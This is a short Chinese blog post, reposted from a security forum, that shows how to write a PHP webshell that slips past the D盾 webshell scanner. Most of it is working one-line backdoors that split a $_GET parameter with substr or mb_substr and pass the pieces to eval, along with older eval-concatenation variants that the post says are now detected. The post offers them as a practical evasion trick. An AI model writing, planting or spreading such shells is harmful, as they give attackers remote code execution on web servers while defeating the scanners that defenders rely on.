今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。
首先来看下D盾扫描结果。
以前的思路常规,就是定义一个变量b:$b='';
为空,$b = null;
,$b = "\n";
然后变量a: $a = $_GET['1'];
,eval($a.$b);
,或者eval($b.=$a);
。但是现在这种方法基本报一级或者直接杀,查出某个变量。
<?php $m=$_GET['1']; $a=substr($m,0,1); $b=substr($m,1,9999); eval($a.$b); ?>
而今天这个论坛看到的,思路有趣。
substr()
函数返回字符串的一部分,例如:
<?php $m='s9mf'; $b=substr($m,0,4); echo $b; // 代码运行返回s9mf
$a=substr($m,0,1);
返回第一个字符$
$b=substr($m,1,9999);
相当于$b=_GET['1'];
然后eval括号内拼接组合。
mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。
<?php $m=$_GET['1']; $a=mb_substr($m,0,1); $b=mb_substr($m,1,9999); eval($a.$b); ?>
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.